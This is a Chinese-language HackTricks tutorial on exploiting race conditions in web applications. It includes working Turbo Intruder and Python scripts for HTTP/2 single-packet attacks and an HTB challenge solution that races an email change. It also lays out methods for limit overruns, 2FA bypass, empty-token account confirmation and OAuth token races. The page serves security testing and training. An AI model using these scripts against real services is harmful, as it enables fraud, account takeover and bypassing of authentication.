Chinese - Ht
HackTricks Training Twitter Linkedin Sponsor

Race Condition

使用 Trickest 可轻松构建和自动化工作流程，使用全球最先进的社区工具。 立即获取访问权限：

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！

支持 HackTricks 的其他方式：

要深入了解此技术，请查看原始报告：https://portswigger.net/research/smashing-the-state-machine

加强竞争条件攻击

利用竞争条件的主要障碍是确保多个请求同时处理，且它们的处理时间几乎没有差异—最好小于1毫秒。

以下是一些同步请求的技术：

HTTP/2 单数据包攻击 vs. HTTP/1.1 最后字节同步

  • HTTP/2：支持通过单个 TCP 连接发送两个请求，减少网络抖动的影响。然而，由于服务器端的变化，两个请求可能不足以实现一致的竞争条件利用。

  • HTTP/1.1 '最后字节同步'：允许预先发送大部分 20-30 个请求的内容，保留一个小片段，然后一起发送，实现同时到达服务器。

准备进行最后字节同步 包括：

  1. 发送标题和主体数据，但不包含最后一个字节，不结束流。

  2. 初始发送后暂停 100 毫秒。

  3. 禁用 TCP_NODELAY 以利用 Nagle 算法批量处理最终帧。

  4. 发送 ping 以热身连接。

随后发送保留的帧应导致它们以单个数据包的形式到达，可通过 Wireshark 进行验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。

适应服务器架构

了解目标的架构至关重要。前端服务器可能会以不同方式路由请求，影响时间。通过无关紧要的请求进行预先的服务器端连接热身，可能会使请求时间正常化。

处理基于会话的锁定

像 PHP 的会话处理程序会根据会话对请求进行序列化，可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。

克服速率或资源限制

如果连接热身无效，通过故意触发 Web 服务器的速率或资源限制延迟，通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。

攻击示例

  • Tubo Intruder - HTTP2 单数据包攻击（1 个端点）：您可以将请求发送到 Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder)，您可以更改请求中要暴力破解的值为 %s，例如 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s，然后从下拉菜单中选择 examples/race-single-packer-attack.py：

如果您要发送不同的值，您可以修改代码，使用从剪贴板中获取的单词列表。

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

如果网站不支持HTTP2（仅支持HTTP1.1），请使用Engine.THREADED或Engine.BURP，而不是Engine.BURP2。

  • Tubo Intruder - HTTP2单数据包攻击（多个端点）：如果您需要向一个端点发送请求，然后向其他端点发送多个请求以触发RCE，您可以修改race-single-packet-attack.py脚本，类似于：

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)

  • 在Burp Suite中，Repeater 还可以通过新的 '并行发送组' 选项使用。

  • 对于 limit-overrun，您可以在组中添加相同的请求 50 次。

  • 对于 connection warming，您可以在组的开头添加一些请求到 Web 服务器的一些非静态部分。

  • 要延迟处理一个请求和另一个请求之间的过程，在 2 个子状态步骤中，您可以在这两个请求之间添加额外的请求。

  • 对于多端点的 RC，您可以开始发送进入隐藏状态的请求，然后在其后立即发送 50 个利用隐藏状态的请求。

  • 自动化 Python 脚本：此脚本的目标是在持续验证的同时更改用户的电子邮件，直到新电子邮件的验证令牌到达最后一个电子邮件（这是因为在代码中看到了一个 RC，其中可以修改电子邮件，但是由于指示电子邮件的变量已经填充了第一个电子邮件，因此验证发送到旧电子邮件）。 当在收到的电子邮件中找到单词 "objetivo" 时，我们知道收到了更改电子邮件的验证令牌，然后结束攻击。

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

原始 BF

在之前的研究之前，这些是一些使用的有效载荷，只是尝试尽快发送数据包以引发 RC。

  • Repeater： 检查前一节中的示例。

  • Intruder： 将请求发送到Intruder，在选项菜单中将线程数设置为30，选择空有效载荷作为有效载荷并生成30。

  • Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC方法论

限制超限/TOCTOU

这是最基本的一种竞争条件，其中漏洞出现在限制执行某个操作次数的地方。比如在网店多次使用相同的折扣代码。一个非常简单的例子可以在这份报告或这个漏洞中找到。

这种攻击有许多变种，包括：

  • 多次兑换礼品卡

  • 多次对产品评分

  • 超出账户余额提取或转账现金

  • 重复使用单个验证码解决方案

  • 绕过反暴力破解速率限制

隐藏子状态

利用复杂的竞争条件通常涉及利用与隐藏的或意外的机器子状态交互的短暂机会。以下是处理此类情况的方法：

  1. 识别潜在的隐藏子状态

  • 首先，确定修改或与关键数据交互的端点，如用户配置文件或密码重置流程。关注：

  • 存储：优先选择处理服务器端持久数据的端点，而不是处理客户端数据的端点。

  • 操作：寻找修改现有数据的操作，这些操作比添加新数据的操作更有可能创建可利用的条件。

  • 关键性：成功的攻击通常涉及使用相同标识符（例如用户名或重置令牌）的操作。

  1. 进行初步探测

  • 使用竞争条件攻击测试已识别的端点，观察是否有与预期结果不同的情况。意外的响应或应用行为的变化可能表明存在漏洞。

  1. 演示漏洞

  • 将攻击范围缩小到利用漏洞所需的最少请求数，通常只需两个。由于涉及精确的时间，这一步可能需要多次尝试或自动化。

时间敏感攻击

在定时请求方面的精确性可以揭示漏洞，特别是在安全令牌使用可预测的方法（如时间戳）时。例如，基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。

利用方法：

  • 使用精确的时间，如单数据包攻击，进行并发密码重置请求。相同的令牌表明存在漏洞。

示例：

  • 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。

查看此 PortSwigger实验室 以尝试此操作。

隐藏子状态案例研究

支付并添加商品

查看此 PortSwigger实验室 了解如何在商店中支付并添加额外商品，而您无需为其付款。

确认其他电子邮件

这个想法是验证一个电子邮件地址并同时将其更改为另一个，以查明平台是否验证了更改后的新电子邮件。

将电子邮件更改为2个电子邮件地址基于Cookie

根据这项研究，Gitlab容易受到这种方式的接管攻击，因为它可能会将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件。

查看此 PortSwigger实验室 以尝试此操作。

隐藏数据库状态/确认绕过

如果使用2个不同的写入向数据库中添加信息，则在只有第一个数据已写入数据库的一小部分时间内。例如，创建用户时，用户名和密码可能会被写入，然后写入用于确认新创建帐户的令牌。这意味着在短时间内用于确认帐户的令牌为空。

因此，注册一个帐户并发送多个带有空令牌的请求（token=或token[]=或任何其他变体）立即确认帐户可能允许确认一个您无法控制电子邮件的帐户。

查看此 PortSwigger实验室 以尝试此操作。

绕过2FA

以下伪代码容易受到竞争条件攻击，因为在创建会话时2FA未强制执行的非常短的时间内：

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2永久性

有几个OAUth提供商。这些服务将允许您创建一个应用程序并验证提供商已注册的用户。为了做到这一点，客户端将需要允许您的应用程序访问OAUth提供商内部的一些数据。 因此，直到这里只是一个常见的使用google/linkedin/github等登录，您会看到一个页面，上面写着：“应用程序<InsertCoolName>想要访问您的信息，您是否允许？”

authorization_code中的竞争条件

问题出现在您接受并自动向恶意应用程序发送**authorization_code时。然后，此应用程序滥用OAUth服务提供商中的竞争条件**，从**authorization_code为您的帐户生成多个AT/RT（认证令牌/刷新令牌）。基本上，它将滥用您已经允许应用程序访问您的数据的事实来创建多个帐户**。然后，如果您停止允许应用程序访问您的数据，一个AT/RT对将被删除，但其他AT/RT仍然有效。

Refresh Token中的竞争条件

一旦您获得了有效的RT，您可以尝试滥用它生成多个AT/RT，即使用户取消了恶意应用程序访问其数据的权限，多个RT仍然有效。

WebSockets中的RC

在WS_RaceCondition_PoC中，您可以找到一个Java PoC，用于并行发送websocket消息以滥用Web Sockets中的竞争条件。

参考资料

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！

支持HackTricks的其他方式：

使用Trickest可以轻松构建和由全球最先进的社区工具驱动的自动化工作流程。 立即获取访问权限：

上一页Proxy / WAF Protections Bypass下一页Rate Limit Bypass

最后更新于